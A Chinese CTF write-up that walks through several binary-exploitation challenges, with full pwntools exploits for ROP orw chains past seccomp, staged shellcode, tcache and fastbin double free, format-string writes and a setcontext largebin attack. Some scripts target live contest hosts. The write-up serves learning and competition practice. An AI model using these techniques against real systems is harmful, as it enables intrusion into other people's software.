orw 以前没做过构造rop链的orw 记录一下
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
保护没啥值得留意的 直接ida打开看一下main函数
int __cdecl main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); sandbox(); puts ("Maybe you can learn something about seccomp, before you try to solve this task." ); vuln(); return 0 ; }
开了沙盒 不出意外应该是禁用了execve 而system(“/bin/sh”)也是基于execve实现的 所以这里没有办法像以往一样简单的获取shell
seccomp-tools dump ./vuln
查看一下是否如同猜想的一样
当调用的函数为execve时进入0004 也就是return kill 禁止调用
那么跟进一下vuln函数
ssize_t vuln () { char buf[256 ]; return read(0 , buf, 0x130 uLL); }
可以进行一次栈溢出 但是溢出的字节数只有0x28(还有8字节要给ebp)
显然这点溢出长度只够我们泄露libc基址 但是由于被禁用了execve system和onegadget都用不了了
但是如果想用orw的话 很明显 read和open需要的溢出长度远超过0x28
溢出长度不够的情况一般两种解决办法 自己构造一次read 修改rdx的值 使得溢出长度足够 或者是构造一次read 往bss段写入rop链 随后栈迁移
但是总归都是要自己调用read 并且我们还需要pop rsi pop rdx的指令地址 但是由于大部分的题目是动态链接 很难找到单独的rsi和rdx 本题也是没有的 这个时候你要想起来 题目所给的libc文件也是可以用ROPgadget查找指令地址的 只不过使用其指令还需要我们泄露libc基址
那么初步的思路确定了 就可以开始第一步 先泄露基址
from pwn import *context.log_level = "debug" context.arch = "amd64" elf = ELF("./vuln" ) libc = ELF("./libc-2.31.so" ) io = remote("week-1.hgame.lwsec.cn" ,31773 ) rdi_addr = 0x401393 rsi_r15_addr = 0x401391 puts_got = elf.got['puts' ] puts_plt = 0x401070 main_addr = 0x4012f0 read_plt = 0x401080 ret_addr = 0x40101a bss_addr = 0x404090 +0x50 io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task." ) payload = cyclic(0x108 )+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) io.sendline(payload) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))
接下来是构造read read函数需要三个参数 rdi 控制第一个参数文件描述符 rsi控制写入地址 rdx控制写入字节数
但是很明显0x28的溢出长度是不够我们构造如此多的参数 那么我们可以gdb动调看一下 如果我们不对这三个寄存器动任何手脚 其分别值为多少
rdi满足条件 rdx为0x130 如果我们往bss段写入rop链的话 rdx也不用修改 那么只需要修改rsi就可以了
ROPgadget获取libc文件的pop rsi偏移 再加上libc基址获得pop rsi指令的地址
io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task." ) payload = cyclic(0x108 )+p64(rsi_addr)+p64(bss_addr)+p64(read_addr)+p64(main_addr) io.sendline(payload)
这里注意一下bss_addr 要和bss段的起始位置间隔一段距离 因为bss段比较靠近got表 可能会导致栈空间延申到got表 导致read失败 也是老生常谈的问题了
那么接下里的难点就是构造rop链了 下面每行各自对应open write puts 应该是浅显易懂的
payload = b'./flag' .ljust(8 ,b'\x00' )+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0 )+p64(open_addr) payload += p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(bss_addr+0x100 )+p64(rdx_addr)+p64(0x30 )+p64(read_addr) payload += p64(rdi_addr)+p64(bss_addr+0x100 )+p64(puts_addr)
完整exp:
from pwn import *context.log_level = "debug" context.arch = "amd64" elf = ELF("./vuln" ) io = process("./vuln" ) libc = ELF("./libc-2.31.so" ) rdi_addr = 0x401393 rsi_r15_addr = 0x401391 puts_got = elf.got['puts' ] puts_plt = 0x401070 main_addr = 0x4012f0 read_plt = 0x401080 ret_addr = 0x40101a bss_addr = 0x404090 +0x50 io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task." ) payload = cyclic(0x108 )+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr) io.sendline(payload) puts_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc_addr = puts_addr-libc.sym['puts' ] read_addr = libc_addr + libc.sym['read' ] rsi_addr = libc_addr + 0x2601f rdx_addr = libc_addr + 0x142c92 puts_addr = libc_addr + libc.sym['puts' ] io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task." ) payload = cyclic(0x108 )+p64(rsi_addr)+p64(bss_addr)+p64(read_addr)+p64(main_addr) io.sendline(payload) open_addr = libc_addr + libc.sym['open' ] write_addr = libc_addr + libc.sym['write' ] payload = b'./flag' .ljust(8 ,b'\x00' )+p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr)+p64(0 )+p64(open_addr) payload += p64(rdi_addr)+p64(3 )+p64(rsi_addr)+p64(bss_addr+0x100 )+p64(rdx_addr)+p64(0x30 )+p64(read_addr) payload += p64(rdi_addr)+p64(bss_addr+0x100 )+p64(puts_addr) io.sendline(payload) leave_addr = 0x4012be io.recvuntil("Maybe you can learn something about seccomp, before you try to solve this task." ) payload = cyclic(0x100 )+p64(bss_addr)+p64(leave_addr) io.sendline(payload) io.recv() io.recv()
simple_shellcode [!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/vuln' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
保护全开 ida看一下main函数
int __cdecl main (int argc, const char **argv, const char **envp) { init(argc, argv, envp); mmap((void *)0xCAFE0000 LL, 0x1000 uLL, 7 , 33 , -1 , 0LL ); puts ("Please input your shellcode:" ); read(0 , (void *)0xCAFE0000 LL, 0x10 uLL); sandbox(); MEMORY[0xCAFE0000 ](); return 0 ; }
mmap将0xcafe0000~0xcafe1000这块区域的权限设置为了可读可写可执行 并且程序的最后还调用了这块区域
明摆着是将shellcode写入到这块区域 同时给了一次写入的机会 但是只有10字节
但是这次又有sandbox函数 看一下是禁用了哪些函数
还是通过orw来读取flag吧 但是这次是采用shellcode的方式 首当其冲要解决的问题就是写入字节不够的问题
这0x10字节的长度虽然不够我们写orw 但是可以供我们调用read函数
但是如果我们想要全部参数都修改一次 也是会超出16字节的 所以还是和上题一样 动态调试看一下传完shellcode后各寄存器的默认值
我们只需要修改rsi rdi即可 rax为read的系统调用号0 不需要修改
shellcode = ''' mov esi ,0xcafe0500 xor edi ,edi syscall jmp rsi '''
这里注意一下地址 和bss段同理 栈有可能会溢出到其他不可执行的区域 所以需要抬高一点栈帧空间
随后就是orw的汇编:
shellcode = f""" push 0x67616c66 push (2) pop rax mov rdi, rsp xor esi, esi cdq syscall mov r10d, 0x7fffffff mov rsi, rax push (40) pop rax push 1 pop rdi cdq syscall """
完整exp:
from pwn import *context.log_level = "debug" context.arch = "amd64" elf = ELF("./vuln" ) libc = ELF("./libc-2.31.so" ) io = remote("week-1.hgame.lwsec.cn" ,31897 ) shellcode = ''' mov esi ,0xcafe0500 xor edi ,edi syscall jmp rsi ''' io.sendline(asm(shellcode)) shellcode = f""" push 0x67616c66 push (2) pop rax mov rdi, rsp xor esi, esi cdq syscall mov r10d, 0x7fffffff mov rsi, rax push (40) pop rax push 1 pop rdi cdq syscall """ io.sendline(asm(shellcode)) io.recv() io.recv()
fast_note 一道很常规的double free题 不过在最后修改malloc_hook的时候有点特殊 也算有学到新知识
这题是libc 2.23版本
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/chen/vuln' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
int __cdecl __noreturn main (int argc, const char **argv, const char **envp) { int v3; unsigned __int64 v4; v4 = __readfsqword(0x28 u); init(argc, argv, envp); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d" , &v3); if ( v3 != 2 ) break ; delete_note(); } if ( v3 > 2 ) { if ( v3 == 3 ) { show_note("%d" , &v3); } else { if ( v3 == 4 ) exit (0 ); LABEL_13: puts ("Wrong choice!" ); } } else { if ( v3 != 1 ) goto LABEL_13; add_note(); } } }
没有edit函数 add函数的content输入没有堆溢出的机会 看一看delete函数
unsigned __int64 delete_note () { unsigned int v1; unsigned __int64 v2; v2 = __readfsqword(0x28 u); printf ("Index: " ); __isoc99_scanf("%u" , &v1); if ( v1 <= 0xF ) { if ( (¬es)[v1] ) free ((¬es)[v1]); else puts ("Page not found." ); } else { puts ("There are only 16 pages in this notebook." ); } return __readfsqword(0x28 u) ^ v2; }
堆块释放以后 没有对存放堆块的指针置零 存在UAF漏洞 再加上有show函数 那么泄露libc基址我们可以很轻松的通过unsortedbin来做到
from pwn import *libc = ELF("./libc-2.23.so" ) elf = ELF("./vuln" ) context.log_level = "debug" context.arch = "amd64" io = remote("week-2.hgame.lwsec.cn" ,31198 ) def add (index,size,content ): io.recvuntil(">" ) io.sendline(b"1" ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Content: " ) io.sendline(content) def delete (index ): io.recvuntil(">" ) io.sendline(b"2" ) io.recvuntil("Index: " ) io.sendline(str (index)) def show (index ): io.recvuntil(">" ) io.sendline(b"3" ) io.recvuntil("Index: " ) io.sendline(str (index)) add(0 ,0x80 ,b'aaaa' ) add(1 ,0x60 ,b'aaaa' ) add(2 ,0x60 ,b'aaaa' ) delete(0 ) show(0 ) main_arena = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc_addr = main_arena - 88 - 0x3C4B20
应该是很好理解 fastbin的范围只有0x20~0x80 那么我们释放一个0x80大小的chunk就会被放入unsortedbin 这时候其fd和bk域就会指向main_arena_addr 而delete函数没有对这个chunk的指针置零 导致这个我们仍然可以使用这个指针对chunk进行操作
还有一点就是libc基址的计算办法 88这个gdb动调可以很明显的看出来 那这个0x3c4b20呢 以往我们用的是gdb动调看libc基址和当此程序运行时泄露的main_arean的偏移 但是有的时候题目远程靶机和本地的libc版本不一样 这个时候如果你不会用patchelf修改libc的话 可以通过ida打开题目所对应的libc文件
寻找malloc_trim函数
对应的这个dword_1ecb80的偏移就是main_arean相较于libc基址的偏移
接下来的任务是想办法获取shell 2.23的题目直接打malloc_hook就好了 如果没有开启FULL RELRO 的话还可以通过覆写got表来实现shell
这里我们采用打got表 用的是double free的办法
malloc_hook = libc_addr + libc.sym['__malloc_hook' ] delete(1 ) delete(2 ) delete(1 ) add(3 ,0x60 ,p64(malloc_hook-0x23 )) add(4 ,0x60 ,b'aaaa' ) add(5 ,0x60 ,b'aaaa' ) one_gadget = libc_addr + 0xf03a4 payload = cyclic(0x13 )+p64(one_gadget) add(6 ,0x60 ,payload)
但是不管我们如果更换one_gadget的偏移 就是打不通 哪怕gdb动调已经可以看到malloc_hook已经被写入one_gadget了
这是因为one_gadget的调用条件不满足
那么常规的利用malloc函数触发malloc_hook肯定是不行的了 询问了其他师傅才知道 double free也能触发malloc_hook 为此也是十分好奇 去翻了翻double free的源码
if (SINGLE_THREAD_P) { if (__builtin_expect (old == p, 0 )) malloc_printerr ("double free or corruption (fasttop)" ); p->fd = PROTECT_PTR (&p->fd, old); *fb = p; }
当glibc检测到double free行为发生后 会调用malloc_printerr用来打印错误日志 但是基于本人水平也就只能朔源到这里了 以下均是猜想
因为malloc_printerr是在malloc.c中定义的 所以调用malloc_printerr就会和malloc函数一样先对malloc_hook的内容进行if判断 如果不为0则执行
完整exp:
from pwn import *libc = ELF("./libc-2.23.so" ) elf = ELF("./vuln" ) context.log_level = "debug" context.arch = "amd64" io = remote("week-2.hgame.lwsec.cn" ,31198 ) def add (index,size,content ): io.recvuntil(">" ) io.sendline(b"1" ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Content: " ) io.sendline(content) def delete (index ): io.recvuntil(">" ) io.sendline(b"2" ) io.recvuntil("Index: " ) io.sendline(str (index)) def show (index ): io.recvuntil(">" ) io.sendline(b"3" ) io.recvuntil("Index: " ) io.sendline(str (index)) add(0 ,0x80 ,b'aaaa' ) add(1 ,0x60 ,b'aaaa' ) add(2 ,0x60 ,b'aaaa' ) delete(0 ) show(0 ) main_arena = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc_addr = main_arena - 88 - 0x3C4B20 malloc_hook = libc_addr + libc.sym['__malloc_hook' ] delete(1 ) delete(2 ) delete(1 ) add(3 ,0x60 ,p64(malloc_hook-0x23 )) add(4 ,0x60 ,b'aaaa' ) add(5 ,0x60 ,b'aaaa' ) one_gadget = libc_addr + 0xf03a4 payload = cyclic(0x13 )+p64(one_gadget) add(6 ,0x60 ,payload) delete(3 ) delete(3 ) io.interactive()
new_fast_note 这题的主体结构和上题一致 不过版本从2.23到了2.31 这给我们的unsortedbin泄露机制和double free都制造了困难
由于多出了tcachebin 所以我们想要让一个chunk进入unsortedbin 要么就申请超出tcachebin范围 即0x400以上大小的chunk
或者填满tcachebin的一个链表 然后再次释放 如果超出fastbin的范围就会被放入unsortedbin 这里采取第二种办法
from pwn import *context.log_level = "debug" context.arch = "amd64" elf = ELF("./vuln" ) libc = ELF("./libc-2.31.so" ) io = remote("week-2.hgame.lwsec.cn" ,32435 ) def add (index,size,content ): io.recvuntil(">" ) io.sendline(b"1" ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Content: " ) io.sendline(content) def delete (index ): io.recvuntil(">" ) io.sendline(b"2" ) io.recvuntil("Index: " ) io.sendline(str (index)) def show (index ): io.recvuntil(">" ) io.sendline(b"3" ) io.recvuntil("Index: " ) io.sendline(str (index)) for i in range (0 ,8 ): add(i,0x80 ,b'aaaa' ) for i in range (0 ,7 ): delete(i) delete(7 ) show(7 ) main_arena = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc_addr = main_arena-96 -0x1ECB80
接下来我们的思路要放在如何篡改free_hook来获取shell
没有edit函数的情况下 又有UAF 我们很容易想到的是利用double free来做到任意地址写
但是2.31的版本 glibc对于double free的检查机制更加严格了
typedef struct tcache_entry { struct tcache_entry *next ; struct tcache_perthread_struct *key ; } tcache_entry;
对于每一个tcache都有一个key指针指向
借助这个key指针 plmalloc可以更好的对double free进行检查
size_t tc_idx = csize2tidx(size); if (tcache != NULL && tc_idx < mp_.tcache_bins) { tcache_entry *e = (tcache_entry *)chunk2mem(p); if (__glibc_unlikely(e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE(memory_tcache_double_free, 2 , e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e) malloc_printerr("free(): double free detected in tcache 2" ); } if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put(p, tc_idx); return ; } }
所以 如果我们还想要使用tcache double free的话 就只能修改key字段 或者是fastbin double free
但是由于fastbin对于chunk的取出有着size域的检查 相对来说不好办 但是在2.27.9版本以后 tcache新增了stash机制
要想明白这个机制的用处 我们先要清楚tcachebin的设计目的是什么
在多线程的情况下 plmalloc会遇到主分配区被抢占的问题 只能等待或者是申请一个非主分配区
针对这种情况 plmalloc为每个线程都涉及一个缓冲区 即tcache
而stash机制就是 如果用户申请一个0x60大小的chunk tcache里面没有的话 就会进入分配区处理
如果在fastbin中找到可以被申请的0x60chunk 系统就会认为将来还需要0x60大小的chunk 就会将fastbin中相同大小的chunk全部放入tcachebin中
因此我们利用这个手法就可以实现 在fastbin中实现double free 而在tcache中进行任意地址chunk的申请
完整exp:
from pwn import *context.log_level = "debug" context.arch = "amd64" elf = ELF("./vuln" ) libc = ELF("./libc-2.31.so" ) io = remote("week-2.hgame.lwsec.cn" ,32435 ) def add (index,size,content ): io.recvuntil(">" ) io.sendline(b"1" ) io.recvuntil("Index: " ) io.sendline(str (index)) io.recvuntil("Size: " ) io.sendline(str (size)) io.recvuntil("Content: " ) io.sendline(content) def delete (index ): io.recvuntil(">" ) io.sendline(b"2" ) io.recvuntil("Index: " ) io.sendline(str (index)) def show (index ): io.recvuntil(">" ) io.sendline(b"3" ) io.recvuntil("Index: " ) io.sendline(str (index)) for i in range (0 ,8 ): add(i,0x80 ,b'aaaa' ) //chunk0-chunk6用来填满tcache chunk7用来泄露基址 for i in range (0 ,7 ): delete(i) for i in range (0 ,7 ): add(i,0x30 ,b'aaaa' ) //填满tcache 从而使chunk8和chunk9可以被放入fastbin 之所以index和前面的垃圾chunk一样 是因为 //程序对于delete函数进行了限制 只能释放index<=0xf 的chunk for i in range (8 ,11 ): add(i,0x30 ,b'aaaa' ) for i in range (0 ,7 ): delete(i) delete(7 ) show(7 ) main_arena = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc_addr = main_arena-96 -0x1ECB80 free_hook = libc_addr + libc.sym['__free_hook' ] system_addr = libc_addr + libc.sym['system' ] delete(8 ) delete(9 ) delete(8 ) for i in range (0 ,7 ): add(i,0x30 ,b'aaaa' ) //将原本的tcache 0x40 的链表全部的chunk申请 使其为空 触发stash机制 add(8 ,0x30 ,p64(free_hook)) add(9 ,0x30 ,b'aaaa' ) add(11 ,0x30 ,b'aaaa' ) one_gadget = libc_addr + 0xe3b01 add(12 ,0x30 ,p64(system_addr)) add(13 ,0x10 ,b'/bin/sh' ) delete(13 ) io.interactive()
YukkuriSay 非栈上格式化字符串漏洞题
checksec 查看一下保护机制发现还有canary机制
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110) [*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: '/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/'
由于本人没有安装libc2.31以上版本的ubuntu 所以本地和远程的环境不一样
这里采用xclibc脚本更换二进制文件所依赖的libc
GitHub - ef4tless/xclibc: A tool to change the libc environment of running files(一个在CTF比赛中用于切换题目运行libc环境的工具)
xclibc -x pwn libc-2.31.so
再来看一下ida反编译出来的伪代码
unsigned __int64 vuln () { int v1; char s1[4 ]; char buf[264 ]; unsigned __int64 v4; v4 = __readfsqword(0x28 u); puts ("What would you like to let Yukkri say?" ); do { v1 = read(0 , buf, 0x100 uLL); if ( buf[v1 - 1 ] == 10 ) buf[v1 - 1 ] = 0 ; print_str(buf); puts ("anything else?(Y/n)" ); __isoc99_scanf("%2s" , s1); } while ( strcmp (s1, "n" ) && strcmp (s1, "N" ) ); puts ("Yukkri prepared a gift for you: " ); read(0 , str, 0x100 uLL); printf (str); return __readfsqword(0x28 u) ^ v4; }
跟进一下print_str函数
int __fastcall print_str (const char *a1) { int n; int ii; int l; int m; int i; int k; int v8; const char *j; v8 = strlen (a1); if ( v8 > 20 ) { if ( v8 > 50 ) { printf ("%*s" , 51 , (const char *)&unk_402008); for ( i = 0 ; i <= 51 ; ++i ) putchar (95 ); printf ("\n%*s/ %*s \\\n" , 50 , (const char *)&unk_402008, 50 , (const char *)&unk_402008); for ( j = a1; j < &a1[v8]; j += 50 ) printf ("%*s| %-50.50s |\n" , 50 , (const char *)&unk_402008, j); printf ("%*s\\___ " , 50 , (const char *)&unk_402008); for ( k = 0 ; k <= 46 ; ++k ) putchar (95 ); } else { printf ("%*s" , 51 , (const char *)&unk_402008); for ( l = 0 ; l <= v8 + 1 ; ++l ) putchar (95 ); printf ("\n%*s/ %*s \\\n" , 50 , (const char *)&unk_402008, v8, (const char *)&unk_402008); printf ("%*s| %s |\n" , 50 , (const char *)&unk_402008, a1); printf ("%*s\\___ " , 50 , (const char *)&unk_402008); for ( m = 0 ; m < v8 - 3 ; ++m ) putchar (95 ); } } else { printf ("%*s" , 51 , (const char *)&unk_402008); for ( n = 0 ; n <= 21 ; ++n ) putchar (95 ); printf ("\n%*s/ %*s \\\n" , 50 , (const char *)&unk_402008, 20 , (const char *)&unk_402008); printf ( "%*s| %*s%s%*s |\n" , 50 , (const char *)&unk_402008, (20 - v8) / 2 + v8 % 2 , (const char *)&unk_402008, a1, (20 - v8) / 2 , (const char *)&unk_402008); printf ("%*s\\___ " , 50 , (const char *)&unk_402008); for ( ii = 0 ; ii <= 16 ; ++ii ) putchar (95 ); } puts ("/" ); printf ("%*s|/\n" , 54 , (const char *)&unk_402008); return printf ("%s" , yukkuri); }
直接看不好看懂 直接运行一下脚本 发现是一个图形
分析一下题目给我们的机会 首先是可以无限循环对栈上数据0x100字节大小的修改 并且还可以泄露栈上的数据
然后还有一次非栈上格式化字符串漏洞的机会
这题要想获取shell 只能通过覆盖ret addr 但是由于开启了canary 常规的栈溢出行不通 write泄露的栈内容长度又够不到canary
那么只能想办法通过非栈上格式化字符串漏洞来任意写到栈上的ret addr 使其为onegadget 这样就可以成功获取shell
那么我们就需要泄露栈地址和libc基址
gdb动调看一下
当我们输入的payload大于0x50字节的时候 断点打在0x4014EF处 我们发现payload= cyclic(0x100)时
可以泄露出栈上的地址 当我们输入的payload = cyclic(0x98)时 可以泄露出stderr的真实地址
我们成功获得了栈地址和libc基址
from pwn import *context.log_level = "debug" def splitaddr (target_addr ): addr = [] curr = 0 for _ in range (4 ): num = target_addr % 65536 tmp = (num - curr + 65536 ) % 65536 addr.append(tmp) curr = (curr + tmp) % 65536 target_addr = target_addr >> 16 return addr io = process("./pwn" ) elf = ELF("./pwn" ) libc =ELF("./libc-2.31.so" ) io.recvuntil("What would you like to let Yukkri say?" ) payload = cyclic(0x98 ) io.send(payload) addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc_addr = addr - libc.sym['_IO_2_1_stderr_' ] success(hex (libc_addr)) io.sendlineafter("anything else?(Y/n)" ,b'Y' ) payload = cyclic(0x100 ) io.send(payload) stack_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x8 success(hex (stack_addr)) io.sendlineafter("anything else?(Y/n)" ,b'Y' )
首先由于非栈上格式化字符串并没有办法直接对栈数据更改 所以我们还需要先修改栈上的数据
payload = p64(stack_addr) payload += p64(stack_addr+2 ) payload += p64(stack_addr+4 ) payload += p64(stack_addr+6 ) io.send(payload) io.sendlineafter("anything else?(Y/n)" ,b'n' )
非栈上格式化字符串会在栈专题中讲 所以这里就不解释为什么这么写了
最后的关键在于说ret addr的地址是在哪里 我们上面动调也可以看到 是位于stack_addr-0x8处 所以这里任意写其内容为onegadget
完整exp:
from pwn import *context.log_level = "debug" def splitaddr (target_addr ): addr = [] curr = 0 for _ in range (4 ): num = target_addr % 65536 tmp = (num - curr + 65536 ) % 65536 addr.append(tmp) curr = (curr + tmp) % 65536 target_addr = target_addr >> 16 return addr io = process("./pwn" ) elf = ELF("./pwn" ) libc =ELF("./libc-2.31.so" ) io.recvuntil("What would you like to let Yukkri say?" ) payload = cyclic(0x98 ) io.send(payload) addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' )) libc_addr = addr - libc.sym['_IO_2_1_stderr_' ] success(hex (libc_addr)) io.sendlineafter("anything else?(Y/n)" ,b'Y' ) payload = cyclic(0x100 ) io.send(payload) stack_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x8 success(hex (stack_addr)) io.sendlineafter("anything else?(Y/n)" ,b'Y' ) payload = p64(stack_addr) payload += p64(stack_addr+2 ) payload += p64(stack_addr+4 ) payload += p64(stack_addr+6 ) io.send(payload) io.sendlineafter("anything else?(Y/n)" ,b'n' ) onegadget_addr = 0xe3b01 +libc_addr addr = splitaddr(onegadget_addr) payload = b"%" + str (addr[0 ]).encode() + b"lx%8$hn" payload += b"%" + str (addr[1 ]).encode() + b"lx%9$hn" payload += b"%" + str (addr[2 ]).encode() + b"lx%10$hn" payload += b"%" + str (addr[3 ]).encode() + b"lx%11$hn" io.send(payload+b'\x00' ) io.interactive()
note_context 这题是赛后复现的 学到挺多东西 顺便巩固了setcontext的利用
保护全开 环境是2.32
并且开启了沙盒
经典菜单题 伪代码这里就不放了 一共给了四个函数
add函数可以申请chunk 大小限制在0x500-0x900
delete函数没有置零堆块指针 存在UAF
show函数可以打印堆块内容
edit函数不存在堆溢出 根据最开始申请chunk时输入的size
由于对申请chunk的限制 一开始我们能考虑的只有unsortedbin attack 和 largebin attack
但是前者相对鸡肋 需要我们对任意申请地址已经有edit能力 后者也只能做到任意地址写堆地址
house of storm需要最后申请的chunk大小符合0x50链表 所以也没有办法
那么我们需要另寻出路 覆盖mp_.tcache_bins来使得size较大的chunk也能被释放到tcachebin中 从而可以打tcachebin attack 任意地址写
这里采用largebin attack任意写的那一套
我们先泄露基址 注意一下末尾00 需要覆盖一下 否则puts无法泄露
add(0 ,0x800 ) add(1 ,0x900 ) add(2 ,0x7f0 ) delete(0 ) edit(0 ,b'\x01' ) show(0 ) main_arena_addr = u64(io.recvuntil("\x7f" )[-6 :].ljust(8 ,b'\x00' ))-0x1 -96 libc_addr = main_arena_addr - (libc.sym['__malloc_hook' ]+0x10 ) success("libc_addr :" +hex (libc_addr)) free_hook = libc_addr + libc.sym['__free_hook' ] edit(0 ,b'\x00' )
顺便把chunk0释放到largebin后 泄露一下堆地址 因为这个版本已经有了fd异或保护机制
add(3 ,0x900 ) edit(0 ,cyclic(0x10 )) show(0 ) heap_addr = u64(io.recvuntil("\x0a" ,drop = True )[-6 :].ljust(8 ,b'\x00' ))-0x290 success("heap_addr :" +hex (heap_addr))
mp_tcache_bins = libc_addr + 0x1e32d0 success("mp_tcache_bins :" +hex (mp_tcache_bins)) payload = p64(0 )+p64(mp_tcache_bins-0x10 )+p64(0 )+p64(mp_tcache_bins-0x20 ) edit(0 ,payload) delete(2 ) add(4 ,0x900 )
然后就是largebin attack的部分 此时mp_tcache_bins处已经被写入一个很大的值 小于这个值的都会被释放进tcachebin
add(5 ,0x900 ) add(6 ,0x900 ) add(7 ,0x900 ) delete(5 ) delete(6 ) key = ( heap_addr + 0x3000 ) >>12 success("key :" +hex (key)) edit(6 ,p64(key^(free_hook))) add(8 ,0x900 ) add(9 ,0x900 )
接下来利用tcache 申请到free_hook的空间
接下来就是重头戏了 由于开启了沙盒 所以我们只能用orw来泄露flag
2.29以前 setcontext是通过rdi寄存器来寻址 相对来说很好控制 但是2.32是由rdx来寻址 我们需要想办法控制rdx寄存器的值
.text:000000000005306 D mov rsp, [rdx+0 A0h] .text:0000000000053074 mov rbx, [rdx+80 h] .text:000000000005307B mov rbp, [rdx+78 h] .text:000000000005307F mov r12, [rdx+48 h] .text:0000000000053083 mov r13, [rdx+50 h] .text:0000000000053087 mov r14, [rdx+58 h] .text:000000000005308B mov r15, [rdx+60 h] .text:000000000005308F test dword ptr fs:48 h, 2 .text:000000000005309B jz loc_53156 .text:0000000000053156 loc_53156: ; CODE XREF: .text:0000000000053156 mov rcx, [rdx+0 A8h] .text:000000000005315 D push rcx .text:000000000005315 E mov rsi, [rdx+70 h] .text:0000000000053162 mov rdi, [rdx+68 h] .text:0000000000053166 mov rcx, [rdx+98 h] .text:000000000005316 D mov r8, [rdx+28 h] .text:0000000000053171 mov r9, [rdx+30 h] .text:0000000000053175 mov rdx, [rdx+88 h]
利用ropper工具 可以搜索libc文件中的gadget 看看有没有能达到我们目的的
其中 我们找到了符合我们要求的 可以通过rdi的值来影响到rdx
如果调用free函数 那么rdi寄存器存的就是我们想要释放的堆块的用户地址 并且利用call指令 还可以进行下一步跳转 也就是跳转到setcontext上
ret_addr = libc_addr + 0x26699 rdi_addr = libc_addr + 0x2858f rsi_addr = libc_addr + 0x2ac3f rdx_r12_addr = libc_addr + 0x114161 rax_addr = libc_addr + 0x45580 setcontext_addr = libc_addr + libc.sym['setcontext' ]+61 gadget_addr = libc_addr + 0x000000000014b760 chunk8_addr = heap_addr +0x36e0 open_addr = libc_addr + libc.sym['open' ] read_addr = libc_addr + libc.sym['read' ] write_addr = libc_addr + libc.sym['write' ] success(hex (chunk8_addr)) flag_addr = chunk8_addr + 0x10 payload = b'./flag\x00\x00' +p64(chunk8_addr+0x10 )+cyclic(0x10 )+p64(setcontext_addr)
chunk8_addr是包括了chunk头的首地址
这里主要来详细讲一下payload的构造 flag字符串是为了接下来的orw
第一条指令
mov rdx, qword ptr [rdi + 8]
此时rdi指向的是chunk8_addr+0x10的地址 再加8 也就是指向了chunk8_addr+0x18
取这个地址的值赋值给rdx 也就是在flag字符串后我们要存入想要控制的rdx值 这里选择是chunk8_addr+0x10
在接下来的setcontext rsp指针就会被赋值到chunk8_addr+0xb0 我们只要在那里进行下一步的构造即可
第二条指令没啥用 不用关注 看第三条
call qword ptr [rdx + 0x20]
此时的rdx对应的值为chunk8_addr+0x18 也就是说 setcontext的地址要被放到chunk8_addr+0x38处
随后 我们用垃圾数据填充 来到chunk8_addr + 0xb0处继续开始构造
payload = b'./flag\x00\x00' +p64(chunk8_addr+0x10 )+cyclic(0x10 )+p64(setcontext_addr) payload = payload.ljust(0xa0 ,b'\x00' ) + p64(chunk8_addr+0x10 +0xa8 )+p64(ret_addr) payload += p64(rdi_addr) + p64(flag_addr) + p64(rsi_addr) + p64(0 ) + p64(open_addr) payload += p64(rdi_addr) + p64(3 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_r12_addr) + p64(0x50 ) + p64(0 ) + p64(read_addr) payload += p64(rdi_addr) + p64(1 ) + p64(rsi_addr) + p64(flag_addr) + p64(rdx_r12_addr) + p64(0x50 ) + p64(0 ) + p64(write_addr)
此时rcx的值是我们存入的ret指令 并且执行完push后 栈上会存放两个ret
接下来一直执行到setcontext的ret指令的时候 就会将栈上的ret弹入到rip寄存器中 顺延执行到pop rdi
我们就成功控制了程序执行流 成功获取flag
完整exp:
